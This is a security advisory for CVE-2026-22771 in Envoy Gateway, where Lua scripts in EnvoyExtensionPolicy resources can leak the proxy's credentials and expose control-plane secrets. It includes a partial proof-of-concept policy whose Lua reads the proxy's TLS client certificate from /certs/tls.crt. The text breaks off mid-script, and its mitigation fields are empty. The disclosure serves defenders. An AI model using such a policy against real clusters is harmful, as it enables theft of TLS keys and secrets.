Envoy Extension Policy lua scripts injection causes arbitrary command execution
Date: 2026-01
Affected: go/github.com/envoyproxy/gateway, go/github.com/envoyproxy/gateway
Attack vector: rce
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2026-22771
CWE: CWE-94
CVSS: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

### Impact Envoy Gateway allows users to create Lua scripts that are executed by Envoy proxy using the `EnvoyExtensionPolicy` resource. Administrators can use Kubernetes RBAC to grant users the ability to create `EnvoyExtensionPolicy` resources. Lua scripts in policies are executed in two contexts: * An `EnvoyExtensionPolicy` can be attached to Gateway and xRoute resources. Lua scripts in the policy will process traffic in that scope. * Lua scripts are interpreted and run by the Envoy Gateway controller pod for validation purposes. Lua scripts executed by Envoy proxy can be used to leak the proxy's credentials. These credentials can then be used to communicate with the control plane and gain access to all secrets that are used by Envoy proxy, e.g. TLS private keys and credentials used for downstream and upstream communication. For example, the following EnvoyExtensionPolicy, when executed by Envoy proxy, will leak the proxy's XDS client certificates. ```yaml apiVersion: gateway.envoyproxy.io/v1alpha1 kind: EnvoyExtensionPolicy metadata: name: lua-leak spec: targetRefs: - group: gateway.networking.k8s.io kind: HTTPRoute name: leak lua: - type: Inline inline: | function envoy_on_response(response_handle) local cert = io.open("/certs/tls.crt", "r") local content if cert then content = cert:read("*all") cert:close() else content = "


Mitigations:

Architectural layers (MAESTRO):